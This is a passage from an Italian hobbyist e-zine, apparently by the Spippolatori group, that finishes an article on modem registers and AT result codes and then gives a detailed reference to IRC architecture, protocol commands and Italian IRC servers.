|Riservato |------|---------|no |----| | S46 |Controllo compressione dati | ** |---------|si |138 | +-------------------------------------------------------------------+ Alcune note: * = La velocita' di connessione accetta questi valori: 0 = Velocita' comando AT 3 = 300 baud 5 = 1200 baud v.22 6 = 2400 baud v.22bis 7 = 1200/75 baud v.23 8 = 4800 baud v.32bis/v.32 9 = 9600 baud v.32bis/v.32 10= 12000 baud v.32bis 11= 14400 baud v.32bis 12= 7200 baud v.32bis ** = I valori sono i seguenti: 136 : correzione errori senza compressione 138 : correzione errori con compressione Resistete che abbiamo quasi finito, dai! Ancora una breve spiegazione e una tabella e potrete spippolare! tutto sto casino di tabella serve per vedere dove il modem tiene le sue impostazioni e quali sono le impostazioni sulle quali potete spippolare e memorizzare.Va da se che le impostazioni che non salverete con il comando Wn allo spegnimento del pc non verranno mantenute.Potete customizzare tutto il customizzabile usando le comuni stringhe AT.Logico che se proprio non siete dei degenrati mentali avrete capito che il modem lo potete programmare solo in modo COMANDI. Ogni stringa che invierete al modem generera' una risposta che potra' essere ASCII oppure un byte. La tabella qui sotto,che e' anche l'ultima di questo articolo,vi mostra la corrispondenza fra le risposte di un byte e quelle ASCII...Ed ora, per la vostra gioia, la tabella! | 0|ok | comando eseguito | 1|connect | connessione avvenuta | 2|ring | squillo telefono in arrivo | 3|no carrier | manca la portante o la linea | 4|error | errore | 5|connect 1200 | | 6|no dial tone | manca il tono di linea libera (USA only) | 7|busy | linea occupata | 8|no answer | mancata risposta | 9|connect 0600 | connessione avvenuta a XXX bps |10|connect 2400 | |11|connect 4800 | |12|connect 9600 | |13|connect 7200 | |14|connect 12000 | |15|connect 14400 | |16|connect 19200 | |17|connect 38400 | |18|connect 57600 | |19|connect 115200 | |22|connect 1200RX/75TX| |23|connect 75RX/1200TX| |33|fax | discrimina chimata fax in arrivo |35|data | discrimina chiamata dati in arrivo |40|carrier 300 | portante rilevata a XXX bps |44|carrier 1200/75 | |45|carrier 75/1200 | |46|carrier 1200 | |47|carrier 2400 | |48|carrier 4800 | |49|carrier 7200 | |50|carrier 9600 | |51|carrier 12000 | |52|carrier 14400 | |53|carrier 16800 | |54|carrier 19200 | |55|carrier 21600 | |56|carrier 24000 | |57|carrier 26400 | |58|carrier 28800 | |59|connect 16800 | |61|connect 21600 | |62|connect 24000 | |63|connect 26400 | |64|connect 28800 | |66|compression:class 5| protocollo di compressione usato |67|compression:v.24bis| |69|compression:none | |76|protocol:none | protocollo di comunicazione usato |77|protocol:lapm | |80|protocol:alt | Ok, adesso che ho finito con i omandi AT,i registri del modem e il funzionamento del modem non vi resta che provate... Usate Hyperterminal, configurate il modem sulla vostra com e spippolate allegramente! Bene,l'articoletto e' finito,spero che sia servito a qualcuno oltre che a Nick1 ;-] Ah,ho appena notato che i segni di +-+-+-+ che avevo citato non sono stati inseriti, ma che sbadatone che sono,o forse sono solo bastardo?Mah, ai posteri la sentenza! RigoR MorteM, SPP Webmaster, rigormortem@spippolatori.com (si ringrazia Simone Angelini per la consulenza) _#_ IRC ed i suoi segreti --------------------- By Darkman Canali: illimitati, ma non permanenti È possibile creare un numero illimitato di canali IRC, così come non ha limite la quantità di utenti in grado di accedere a uno stesso canale. Per attivare una sessione, il client deve, per prima cosa, connettersi a un server all'interno di una rete IRC su una porta definita (in genere la 6667, ma per motivi di prestazioni alcuni server "ascoltano" anche su altre, come la 5555 o la 6666). Tutti i server di una stessa rete sono interconnessi, quindi tutti i computer collegati a un server della stessa rete possono accedere agli stessi canali che, a differenza dei newsgroup, non sono permanenti. Chiunque può crearne uno, in qualunque momento, accedendovi per primo e acquistando, al contempo, i privilegi di operatore. Quando l'ultimo partecipante esce, il canale sparisce automaticamente. Il nome di un canale inizia sempre con il carattere # se questo è "globale" (cioè accessibile da qualunque server) oppure con & se è accessibile solo da un server ben definito (canale locale). Il resto del nome può contenere qualunque carattere a eccezione dello spazio, del carattere ASCII 0x07 o Ctrl-G e della virgola, che viene usata nel protocollo IRC come separatore di lista. Conoscere il nome del canale non basta per accedervi: è necessario sapere anche in quale rete questo si trova. Due canali differenti appartenenti a due reti distinte possono, infatti, avere lo stesso nome, ma non hanno necessariamente gli stessi partecipanti e il medesimo contenuto. Comunicazioni private Oltre ai canali pubblici - moderati o meno - esiste la possibilità di usare IRC per le conversazioni a due (query) o mandare messaggi ad altri utenti, sia che si trovino in un canale sia che stiano chiacchierando in modo privato. Tutti gli utenti hanno un nome, il nickname. Dal momento che, nella maggior parte delle reti IRC non esiste alcun meccanismo di registrazione di un identificativo, ognuno può scegliere il suo, sperando che non sia già utilizzato da altri. Vedremo più avanti cosa questo comporta. L'architettura Una rete IRC è formata da tanti server interconnessi fra loro in una struttura ad albero non gerarchica. Ecco perché, se uno di questi collegamenti cade, si ha quello che in gergo si chiama uno split, ovvero una divisione. In pratica la rete si divide in due tronconi, e tutti i canali si spezzano in due. Questo tipo di architettura non è stato ideato a prova di eventi, anzi è piuttosto delicata, se non addirittura debole. In pratica, basta un collegamento caduto o un server bloccato per impedire a un gruppo di client di accedere ai vari canali. Non è previsto alcun meccanismo di recupero e l'utente scollegato spesso non può far altro che cercare un differente ingresso in rete o aspettare che qualcuno ristabilisca l'integrità del sistema. Anche la gestione dei canali è lasciata agli utenti. Il caso nickname Nulla è del tutto sicuro e stabile in IRC. Prendiamo, per esempio il soprannome. Ognuno, all'inizio di una sessione IRC dovrà decidere il proprio. Se questo è già utilizzato, verrà intimato a sceglierne un altro, fino a che non ne troverà uno libero, che rimarrà lo stesso per tutta la sessione (a meno che l'utente non decida di cambiarlo) ma non può essere garantito fra una sessione e l'altra. Nel caso di divisione della rete, tuttavia, può succedere che due utenti prendano lo stesso soprannome nelle due sottoreti che si sono venute a creare. In tal caso, nel momento in cui la rete viene ristabilita, i due utenti vengono disconnessi automaticamente (collisione). Da notare che ogni utente è identificato in rete anche da un "nome utente" - che può essere paragonato al nome di accesso a un sistema (login) - che un utente deve immettere quando si collega. Non può essere modificato e non ha alcuna corrispondenza con il soprannome. Operatori dei canali La gestione dei canali è lasciata agli utenti con privilegi particolari, chiamati operatori. Non bisogna confondere un operatore di canale con un operatore IRC. Questi ultimi sono gli amministratori dei server IRC e della rete che non si occupano - o quantomeno non dovrebbero farlo - dei canali, ma solo del corretto funzionamento del sistema. Gli operatori di canale sono invece normali utenti che hanno creato un canale o ai quali un altro operatore ha dato i privilegi di chan-op. Chiunque crea un canale, infatti, ne diviene automaticamente operatore. È opportuno che ci sia più di un operatore per canale perché, se per qualunque motivo, l'unico amministratore si dovesse assentare, nessuno sarà più in grado di gestire la situazione. In questo caso l'unica soluzione è chiedere a tutti i presenti di uscire e poi rientrare, in modo tale che il primo entrato acquisterà i privilegi di operatore. È evidente che tutto funziona correttamente solo se i partecipanti si comportano in modo onesto. Per evitare che alcuni cerchino intenzionalmente di creare problemi, gli operatori hanno la facoltà di buttar fuori l'utente indesiderato. Anche in questo caso, vige il principio di "non certezza". L'utente può infatti rientrare con un altro nome, da un altro server, attraverso un altro dominio. I modi di prevenire attacchi maliziosi esistono, ma è una battaglia fra esperti... Senza contare che, se a causa di un evento imprevisto - per esempio uno split - un utente maleducato diviene l'unico operatore di un canale, agli altri non resta che crearne un nuovo e lasciare quello vecchio a disposizione del tizio in questione. Il protocollo Il protocollo IRC è basato su stringhe di testo in cui un carattere è formato da 8 bit, ma funziona correttamente anche nei sistemi che supportano solo i caratteri US-ASCII (7 bit). Può essere usato sia nelle connessioni fra client e server, sia in quelle fra due server. Un aspetto interessante riguarda i tre caratteri { } e |. Dato che l'autore del protocollo è finlandese, questi caratteri sono considerati la versione minuscola dei caratteri [ ] e \. Lo scambio di messaggi tra le controparti è molto flessibile. Per esempio, un comando in genere comporta una replica, ma chi lo emette deve partire dal presupposto che essa non arrivi mai e comportarsi di conseguenza. In effetti IRC è affidabile solo in quanto poggiato sul TCP. Per il resto è un protocollo molto semplice. In pratica l'interazione fra i sistemi è asincrona e non affidabile. Ogni messaggio è formato da tre parti e può essere lungo fino a un massimo di 512 caratteri, spazi e terminazione inclusi: un prefisso opzionale, un comando, e una serie di parametri (fino a quindici). Il carattere di separazione è lo spazio, quello di terminazione la classica coppia CRLF. Il prefisso, se fornito, inizia sempre con il carattere :il suo scopo è quello di indicare chi ha originato il messaggio. Se quest'ultimo non è fornito, il destinatario assume che il mittente è il sistema che ha spedito per ultimo il messaggio. In genere i client non usano il prefisso, o se lo fanno possono usare solo il soprannome con cui sono conosciuti dal server a cui sono collegati. Dopo il prefisso si può trovare uno dei vari comandi IRC oppure una stringa che rappresenta un codice di tre cifre utilizzato per le risposte ai comandi sia normali sia relative a messaggi d'errore. I messaggi scorrono sempre attraverso la via più breve fra due punti della rete e, a meno di cadute dei collegamenti, sempre attraverso lo stesso cammino. Esistono vari modi di comunicare in IRC. Nella conversazione a due vengono interessati solo quei server che si trovano sul cammino più corto che si può stabilire fra i due client. Un client può inoltre comunicare con una lista di altri. Si tratta di uno schema alquanto inefficiente perché lo stesso messaggio può passare più volte per la stessa connessione fra server. Lo schema più efficiente è quello del canale, che utilizza un meccanismo multicast per minimizzare la quantità di messaggi che passano in rete. I comandi In genere, per accedere a una rete IRC non è necessario fornire alcuna parola chiave. Se questo è vero in linea di massima per i client, non lo dovrebbe essere per i server. Anche se non obbligatorio, è opportuno che a un server sia richiesto di fornire una password per connettersi alla rete, altrimenti qualcuno potrebbe programmare un client che, simulando un server, finirebbe per diventare un vero e proprio cavallo di Troia per la rete IRC. Per mandare una password si usa il comando PASS. Una volta stabilita la connessione, l'utente deve dire con quale nome si vuole far conoscere dalla rete. Per questo c'è il comando NICK che ha due parametri: il primo è il soprannome desiderato, il secondo è un contatore (hopcount) che viene incrementato dai vari server man mano che il messaggio cammina nella rete, così da sapere "quanto lontano" è il richiedente da un certo server. La distanza si misura in connessioni server-to-server. Se il nome è già occupato, il client si vedrà ricevere un messaggio ERR_NICKCOLLISION e dovrà riprovare di nuovo. Solo a questo punto sarà possibile spedire il comando USER. Questo ha quattro parametri: identificativo utente, nome host, nome server, e nome "reale" dell'utente. Solo il primo e il quarto hanno senso quando il messaggio è spedito da un client. Il secondo e il terzo vengono usati nelle comunicazioni fra server. Da notare due cose: in primo luogo l'identificativo dell'utente non ha niente a che vedere con il soprannome. Quest'ultimo può essere cambiato in qualunque momento, mentre il primo rimane fisso per tutta la sessione. Secondo: il nome reale deve essere preceduto dai due punti, dato che può contenere qualunque carattere, spazi compresi, a eccezione della sequenza di terminazione. Una lista completa dei comandi con i rispettivi parametri è riportata nel CD-ROM allegato. Oltre a quelli di registrazione, esistono quelli per la gestione dei canali, come JOIN, PART, TOPIC, per i partecipanti, come MODE o KILL, per spedire messaggi o richiedere informazioni, come PRIVMSG o WHOIS, per gestire i server, come REHASH o RESTART. Da notare che i comandi in questione sono quelli del protocollo IRC, non quelli di uno specifico client come mIRC o MacIRC. I comandi applicativi sono differenti a seconda del programma, e possono corrispondere o meno a quelli del protocollo. Operazioni di registrazione Comando PASS Parametri Descrizione Spedisce ad un server IRC la parola d'ordine per la connessione alla rete, nel caso sia prevista. Questo comando va lanciato prima dei comandi NICK e USER per un client e SERVER per un server. Risposte Nessuna Errori ERR_NEEDMOREPARAMS, ERR_ALREADYREGISTERED Esempio PASS isabella Comando NICK Parametri [] Descrizione Serve a fornire il soprannome con cui si vuole essere conosciuti in rete o per modificarne uno precedentemente specificato. Il contatore dei salti misura la distanza del client dal server che riceve la richiesta calcolata in "collegamenti fra server". Questo comando va lanciato prima del comando USER. Risposte Nessuna Errori ERR_NONICKNAMEGIVEN, ERR_NICKNAMEINUSE, ERR_ERRONEUSNICKNAME, ERR_NICKCOLLISION Esempio NICK marmotta Comando USER Parametri Descrizione Insieme al comando NICK, questo comando serve a registrare un utente alla rete. Il nome utente è il nome con cui l'utente sarà conosciuto in rete, e vale per l'intera sessione, anche se l'utente si cambia soprannome. Il nome reale dovrebbe essere il nome della persona che si è connessa, o comunque un modo per renderla identificabile agli altri utenti. Gli altri due parametri sono il nome dell'host da cui si connette l'utente e quello del server IRC a cui è direttamente connesso. Questi ultimi due parametri sono ignorati quando il messaggio è spedito dal client, per ragioni di sicurezza, e vanno utilizzati solo nelle comunicazioni fra server. Risposte Nessuna Errori ERR_NEEDMOREPARAMS, ERR_ALREADYREGISTERED Esempio :Marmotta USER ddj dejudicibus irc.server.it :Dario de Judicibus Comando SERVER Parametri Descrizione Viene utilizzato da un server per connettersi alla rete. Il contatore salti serve ad indicare ad un altro server quanto dista in termini di connessioni server-server il sistema che ha generato il comando. Questo comando serve anche a fornire informazioni varie agli altri server in rete. Risposte Nessuna Errori ERR_ALREADYREGISTERED Esempio SERVER irc.server.it 1 :Server Roma Sud Comando OPER Parametri Descrizione Viene utilizzata per ottenere i privilegi di operatore IRC. Se la parola d'ordine è valida, il server emette in rete un comando MODE +o per il soprannome associato all'utente in questione. Risposte RPL_YOUREOPER Errori ERR_NEEDMOREPARAMS, ERR_NOOPERHOST, ERR_PASSWDMISMATCH Esempio :marmotta OPER ddj isabella Comando QUIT Parametri [] Descrizione Serve a terminare la connessione alla rete. Se specificato, viene spedito a tutti i server un messaggio di addio, altrimenti viene spedito solo il soprannome dell'utente. Risposte Nessuna Errori Nessuno Esempio QUIT :Me ne vado in letargo Comando SQUIT Parametri Descrizione Viene utilizzato da un server per chiedere ad un altro server di chiudere il collegamento fra i due. Il primo parametro è il nome del server che dovrà disconnettere il richiedente. Questo comando può essere usato da un operatore per disconnettere un server remoto. In tal caso dovrà essere fornito un commento sul motivo dell'operazione effettuata. Risposte Nessuna Errori ERR_NOPRIVILEGES, ER_NOSUCHSERVER Esempio :RomaSud SQUIT irc.server.it :Server congestionato Operazioni di canale Comando JOIN Parametri {, } [chiave{, }] Descrizione Questo comando serve ad entrare in uno o più canali. Nel caso un canale preveda una parola d'ordine per l'ingresso, essa dovrà essere fornita nella stessa sequenza in cui sono riportati i canali che si desidera accedere. Se l'accesso viene autorizzato, l'utente riceverà l'argomento di discussione attuale del canale ed una lista dei partecipanti. Se e come tale autorizzazione viene data, dipende dagli attributi del canale e dell'utente (vedi relative tabelle). Risposte RPL_TOPIC Errori ERR_NEEDMOREPARAMS, ERR_INVTEONLYCHAN, ERR_CHANNELISFULL, ERR_NOSUCHCHANNEL, ERR_BANNEDFROMCHAN, ERR_BADCHANNELKEY, ERR_BADCHANMASK, ERR_TOOMANYCHANNELS Esempio :marmotta JOIN # montagna,#valle,&amici Comando PART Parametri {, } Descrizione Questo comando serve ad uscire da uno o più canali e ad essere rimossi dalla lista dei partecipanti. Risposte Nessuna Errori ERR_NEEDMOREPARAMS, ERR_NOTONCHANNEL, ERR_NOSUCHCHANNEL Esempio :marmotta PART #montagna Comando MODE Parametri {[+|-]|o|p|s|i|t|n|b|v} [] [] [] {[+|-]|i|w|s|o} Descrizione Serve ad impostare gli attributi per uno specifico canale, per un determinato partecipante ad un canale, o per un generico utente. La lista degli attributi è riportata nelle due tabelle a parte in fondo alla sezione. Risposte RPL_BANLIST, RPL_CHANNELMODEIS, RPL_ENDOFBANLIST, RPL_UMODEIS Errori ERR_NEEDMOREPARAMS, ERR_CHANOPRIVSNEEDED, ERR_NOTONCHANNEL, ERR_UNKNOWNMODE, ERR_USERSDONTMATCH, ERR_UMODEUNKNOWNFLAG, ERR_NOSUCHNICK, ERR_KEYSET, ERR_NOSUCHCHANNEL Esempio MODE #montagna +o marmotta :marmotta MODE ghiro +i Comando TOPIC Parametri [] Descrizione Serve ad impostare o ad ottenere l'argomento corrente di discussione in un certo canale. Risposte RPL_NOTOPIC, RPL_TOPIC Errori ERR_NEEDMOREPARAMS, ERR_CHANOPRIVSNEEDED, ERR_NOTONCHANNEL Esempio :marmotta TOPIC #montagna :Le valli più belle Comando NAMES Parametri [{, }] Descrizione Serve ad ottenere la lista di tutti i partecipanti ad uno o più canali che non siano invisibili. Se un canale è privato o segreto, il richiedente otterrà la lista corrispondente solo se sta partecipando a quel canale. Risposte RPL_NAMREPLY, RPL_ENDOFNAMES Errori Nessuno Esempio :marmotta NAMES #montagna,#valli,#laghi Comando LIST Parametri [{, } []] Descrizione Serve ad ottenere una lista di canali ed i rispettivi argomenti. Se un canale è privato, l'argomento sarà fornito solo se il richiedente sta partecipando a quel canale. Se un canale è segreto, non sarà incluso nella lista, a meno che il richiedente non ne faccia già parte. La richiesta può essere fatta ad uno specifico server. Risposte RPL_LIST, RPL_LISTSTART, RPL_LISTEND Errori ERR_NOSUCHSERVER Esempio :marmotta LIST #montagna,#alpi Comando INVITE Parametri Descrizione Serve ad invitare una certa persona a partecipare ad un canale. Se il canale è accessibile solo su invito, questo comando deve essere emesso da un operatore. Risposte RPL_INVITING, RPL_AWAY Errori ERR_NEEDMOREPARAMS, ERR_NOTONCHANNEL, ERR_CHANOPRIVSNEEDED, ERR_NOSUCHNICK, ERR_USERONCHANNEL Esempio :marmotta INVITE ghiro #dolomiti Comando KICK Parametri [] {,} {,} [] Descrizione Forza un utente a lasciare un canale. Può essere emesso solo da un operatore di canale. Il server che riceve il comando è responsabile di verificare che chi lo ha originato abbia effettivamente i privilegi richiesti per emetterlo. Il commento opzionale può essere utilizzato per spiegare i motivi di un'azione così drastica. Risposte Nessuna Errori ERR_NEEDMOREPARAMS, ERR_BADCHANMASK, ERR_NOTONCHANNEL, ERR_NOSUCHCHANNEL, ERR_CHANOPRIVSNEEDED Esempio :marmotta KICK #montagna papera :Non ci sono papere in montagna Attributi di canale Attributi utente o l'utente ha i privilegi di operatore di canale i definisci l'utente come invisibile p il canale è privato s autorizza l'utente a ricevere avvisi dai server s il canale è segreto w autorizza l'utente a ricevere i messaggi di servizio i il canale può essere acceduto solo su invito o definisci l'utente come operatore IRC t il tema è modificabile solo dall'operatore di canale n il canale non può ricevere messaggi dall'esterno m il canale è moderato l il canale ha un numero massimo di partecipanti b imposta un filtro di selezione per i partecipanti v autorizza a parlare in un canale moderato k imposta una chiave di accesso per il canale Comandi di servizio Comando VERSION Parametri [] Descrizione Serve a chiedere al server a cui si è connessi, o ad un altro specifico server in rete, la versione del codice IRC che sta utilizzando. Risposte RPL_VERSION Errori ERR_NOSUCHSERVER Esempio :marmotta VERSION irc.server.it Comando STATS Parametri [ []] Descrizione Serve a chiedere al server a cui si è connessi, o ad un altro specifico server in rete, una serie di informazioni statistiche. La lista del tipo di richiesta che si può spedire è riportato nella tabella a parte. Risposte RPL_STATSCLINE, RPL_STATSILINE, RPL_STATSQLINE, RPL_STATSNLINE, RPL_STATSKLINE, RPL_STATSLLINE, RPL_STATSOLINE, RPL_STATSHLINE, RPL_STATSLINKINFO, RPL_STATSCOMMANDS, RPL_STATSUPTIME, RPL_ENDOFSTATS Errori ERR_NOSUCHSERVER Esempio :marmotta STATS u irc.server.it Comando LINKS Parametri [[] ] Descrizione Serve ad ottenere la lista di tutti i server conosciuti dal server che risponde alla richiesta. In caso, può essere fornita una maschera di selezione per filtrare solo un sottoinsieme dei server. Risposte RPL_LINKS, RPL_ENDOFLINKS Errori ERR_NOSUCHSERVER Esempio :marmotta LINKS irc.server.it *.it Comando TIME Parametri [] Descrizione Serve a chiedere al server a cui si è connessi, o ad un altro specifico server in rete, l'ora locale. Risposte RPL_TIME Errori ERR_NOSUCHSERVER Esempio :marmotta TIME irc.server.it Comando CONNECT Parametri [ []] Descrizione Forza uno specifico server a connettersi immediatamente con un altro server. Questo comando può essere emesso solo da un operatore IRC. Risposte Nessuna Errori ERR_NOSUCHSERVER, ERR_NEEDMOREPARAMS, ERR_NOPRIVILEGES Esempio :marmotta CONNECT irc.server.it 6666 irc.server.ch Comando TRACE Parametri [|] Descrizione Serve a trovare il cammino per arrivare ad uno specifico server. In caso, si può tracciare il cammino fino ad un altro utente. Risposte RPL_TRACELINK, RPL_TRACECONNECTING, RPL_TRACEUNKNOWN, RPL_TRACEUSER, RPL_TRACESERVICE, RPL_TRACECLASS, RPL_TRACEHANDSHAKE, RPL_TRACEOPERATOR, RPL_TRACESERVER, RPL_TRACENEWTYPE Errori ERR_NOSUCHSERVER Esempio :marmotta TRACE papera Comando ADMIN Parametri [] Descrizione Serve a chiedere al server a cui si è connessi, o ad un altro specifico server in rete, il nome della persona che lo amministra. Risposte RPL_ADMINME, RPL_ADMINLOC1, RPL_ADMINLOC2, RPL_ADMINEMAIL Errori ERR_NOSUCHSERVER Esempio :marmotta ADMIN irc.server.it Comando INFO Parametri [|] Descrizione Serve a chiedere al server a cui si è connessi, o ad un altro specifico server in rete, tutta una serie di informazioni rilevanti per quel server. Si può fornire anche un soprannome, ed in tal caso le informazioni riguarderanno il server a cui quell'utente è collegato. Risposte RPL_INFO, RPL_ENDOFINFO Errori ERR_NOSUCHSERVER Esempio :marmotta INFO irc.server.it Informazioni statistiche c lista di tutti i server a cui il server specificato può connettersi od al quale essi possono connettersi h lista di tutti i server terminali o di quelli che agiscono come hub i lista di tutte le macchine da cui un client può connettersi al srver specificato k lista di tutti gli utenti od i sistemi banditi per il server specificato l lista di tutte le connessioni al server specificato con i tempi di connessione, il traffico in byte ed i messaggi m lista di tutti comandi riconosciuti dal server con il relativo utilizzo o lista di tutti i sistemi dai quali un normale utente può accedere come operatore y mostra tutte le linee di classe Y come definite nel file di configurazione del server u ritorna una stringa che mostra da quanto tempo il server specificato è attivo Messaggi Comando PRIVMSG Parametri {,} Descrizione Manda un messaggio privato ad uno o più utenti, canali, host o server. Il destinatario può essere specificato come maschera di selezione, ma con alcune limitazioni per evitare il broadcasting. Risposte RPL_AWAY Errori ERR_NORECIPIENT, ERR_CANNOTSENDTOCHAN, ERR_WILDTOPLEVEL, ERR_NOSUCHNICK, ERR_NOTEXTTOSEND, ERR_NOTOPLEVEL, ERR_TOOMANYTARGETS Esempio :marmotta PRIVMSG papera :Attenta che l'acqua è poca... Comando NOTICE Parametri Descrizione Manda un messaggio privato ad uno o più utenti, canali, host o server. Il destinatario può essere specificato come maschera di selezione, ma con alcune limitazioni per evitare il broadcasting. Differentemente da PRIVMSG, non è permesso utilizzare repliche automatiche per rispondere a questo tipo di messaggi. Risposte Nessuna Errori Nessuno Esempio :marmotta NOTICE ghiro :Svegliati! È primavera... Comando WHO Parametri [ [o]] Descrizione Restituisce una lista di tutti gli utenti il cui soprannome, nome reale, nome utente, nome dell'host o del server a cui essi sono collegati corrisponde al nome od alla maschera fornita. Il parametro "o" serve a limitare la ricerca ad i soli operatori. Risposte RPL_WHOREPLY, RPL_ENDOFWHO Errori ERR_NOSUCHSERVER Esempio :marmotta WHO *.it o Comando WHOIS Parametri [] [,[,...]] Descrizione Serve ad ottenere una serie di informazioni relative ad uno o più utenti. Solo le informazioni alle quali si è autorizzati saranno spedite. La richiesta può essere fatta ad uno specifico server. Risposte RPL_WHOISUSER, RPL_WHOISCHANNELS, RPL_AWAY, RPL_WHOISIDLE, RPL_ENDOFWHOIS, RPL_WHOISSERVER, RPL_WHOISOPERATOR Errori ERR_NOSUCHSERVER, ERR_NONICKNAMEGIVEN, ERR_NOSUCHNICK Esempio :marmotta WHOIS irc.server.it papera,ghiro Messaggi di servizio Comando WHOWAS Parametri Descrizione Serve ad ottenere informazioni su un soprannome che non esiste più. Si può specificare sia il numero di occorrenze massimo che si desidera ricevere a partire dai dati più recenti che il server che deve fornire i dati storici. Risposte RPL_WHOWASUSER, RPL_ENDOFWHOWAS, RPL_WHOISSERVER Errori ERR_NONICKNAMEGIVEN, ERR_WASNOSUCHNICK Esempio :marmotta WHOWAS papera 3 *.it Comando KILL Parametri Descrizione Serve a disconnettere a forza un client da un server. Viene utilizzato soprattutto in caso di collisione di soprannomi per sganciare automaticamente entrambi gli utenti dalla rete. Nel caso venga usato da un operatore, è possibile e consigliabile aggiungere un commento per giustificare il motivo dell'operazione. Risposte Nessuna Errori ERR_NOPRIVILEGES, ERR_NOSUCHNICK, ERR_NEEDMOREPARAMS, ERR_CANTKILLSERVER Esempio KILL ghiro (irc.server.it <- irc.server.ch) Comando PING Parametri [] Descrizione Serve a verificare se effettivamente dall'altro capo di una connessione c'è un utente. Il client che riceve il messaggio deve rispondere a server1 il più presto possibile ed eventualmente anche a server2, se specificato. I server invece non devono mai rispondere ad un messaggio di PING. Risposte Nessuna Errori ERR_NOORIGIN, ERR_NOSUCHSERVER Esempio PING marmotta Comando PONG Parametri [] Descrizione Serve a rispondere ad un messaggio di PING. Il client che risponde al PING deve fornire il nome del demone che ha risposto, ed eventualmente può specificare il nome di un altro demone a cui il messaggio di PONG va inoltrato. Risposte Nessuna Errori ERR_NOORIGIN, ERR_NOSUCHSERVER Esempio :marmotta PONG irc.server.it Comando ERROR Parametri Descrizione Viene utilizzato dai server per riportare agli operatori eventuali errori seri o fatali. Gli errori riportati devono riguardare solo le connessioni fra server. Può essere spedito ad un altro server, ma non ad un client. Per far arrivare il messaggio ad un operatore, quindi, esso deve quindi essere incapsulato in un messaggio di NOTICE. Risposte Nessuna Errori Nessuno Esempio ERROR :La connessione al server irc.server.ch non è attualmente disponibile NOTICE orso :ERROR da irc.server.it -- La connessione al server irc.server.ch non è attualmente disponibile Comandi opzionali Comando AWAY Parametri [] Descrizione Serve ad impostare una risposta automatica da restituire al mittente di un messaggio privato (PRIVMSG). Per cancellare un messaggio impostato in precedenza, basta emettere il comando senza alcun parametro. Risposte RPL_UNAWAY, RPL_NOWAWAY Errori Nessuno Esempio :marmotta AWAY :Mi sto facendo una camomilla. Torno fra 5 minuti. Comando REHASH Parametri Nessuno Descrizione Viene utilizzato dagli operatori IRC per forzare un server a rileggere e rielaborare il file di configurazione. Risposte RPL_REHASHING Errori ERR_NOPRIVILEGES Esempio :orso REHASH Comando RESTART Parametri Nessuno Descrizione Viene utilizzato dagli operatori IRC per forzare un server a ripartire. Risposte Nessuna Errori ERR_NOPRIVILEGES Esempio :orso RESTART Comando SUMMON Parametri Descrizione Se un utente sta lavorando su una macchina su cui gira un server IRC ed il server è autorizzato a scrivere sul suo schermo, questo comando può essere utilizzato per invitare l'utente a entrare in IRC. Non tutti i server sono abilitati ad effettuare questa operazione. Se disabilitato, il server deve tornare il messaggio di errore ERR_SUMMONDISABLED e passare oltre il messaggio. Risposte RPL_SUMMONING Errori ERR_NORECIPIENT, ERR_NOLOGIN, ERR_FILEERROR, ERR_NOSUCHSERVER Esempio SUMMON papera irc.server.ch Comando USERS Parametri [] Descrizione Restituisce una lista di tutti gli utenti che stanno usando il server anche indipendentemente da IRC. Il comando si comporta un po' come i comandi who e finger usati in UNIX per avere informazioni sugli utenti collegati alla rete. Risposte RPL_USERSSTART, RPL_NOUSERS, RPL_USERS, RPL_ENDOFUSERS Errori ERR_NOSUCHSERVER, ERR_USERSDISABLED, ERR_FILEERROR Esempio :marmotta USERS irc.server.ch Comando USERHOST Parametri { { { { }}}} Descrizione Serve a restituire una serie di informazioni relative ad una lista fino ad un massimo di cinque utenti collegati alla rete IRC. Risposte RPL_USERHOST Errori ERR_NEEDMOREPARAMS Esempio :marmotta USERHOST ghiro papera orso Comando ISON Parametri { } Descrizione Serve a verificare se un certo utente è collegato alla rete IRC. La risposta è una stringa, eventualmente nulla, che riporta solo gli utenti collegati. Risposte RPL_ISON Errori ERR_NEEDMOREPARAMS Esempio :marmotta ISON ghiro orso topo castoro Indirizzi Utili Ecco una lista di indirizzi utili presso i quali potrete trovare informazioni dettagliate su IRC, le varie reti, i canali e i prodotti utilizzabili per accedere ai vari server. Titolo URL Descrizione DALnet IRC Network http://www.dal.net/ DALnet è una rete tranquilla, molto ben organizzata, creata dai fondatori del canale #startrek di EFnet. La porta di default è la 7000. I nickname possono essere registrati. Al momento non ci sono server in Italia. EFnet Non ha un sito ufficiale EFnet è la rete più estesa, e come tale soffre di molti problemi (ritardi, cadute,divisioni). È comunque una rete con moltissimi interessanti canali, e vi si accede in genere dalla porta 6667. Al momento non ci sono server in Italia. Undernet http://www.undernet.org/ Undernet è più stabile di EFnet e sta rapidamente prendendo piede un po' dapertutto. Anch'essa ha come porta di default la 6667. Al momento non ci sono server in Italia. IRC-net Non ha un sito ufficiale, IRC-net è una rete nata da una divisione di ma si può far riferimento EFnet nel Giugno 1996, ed è formataprevalente_ a http://www.funet.fi/~irc/ mente da server europei, fra cui quello di Pisa I server italiani di IRC-net Una lista dei maggiori canali di IRC-net può essere trovata su http://www.funet.fi/~irc/channels.html Server Indirizzo IP Porte di ascolto irc.ccii.unipi.it 131.114.29.10 6664-6667 irc.tin.it 194.243.155.93 6665-6669 ircd.tin.it 194.243.154.57 Routing server irc.flashnet.it 194.247.160.11 6664-6669,7000 irc.ircit.net 194.184.1.154 6665-6669,7000 irc.fun.uni.net 194.183.2.245 6665-6669,7000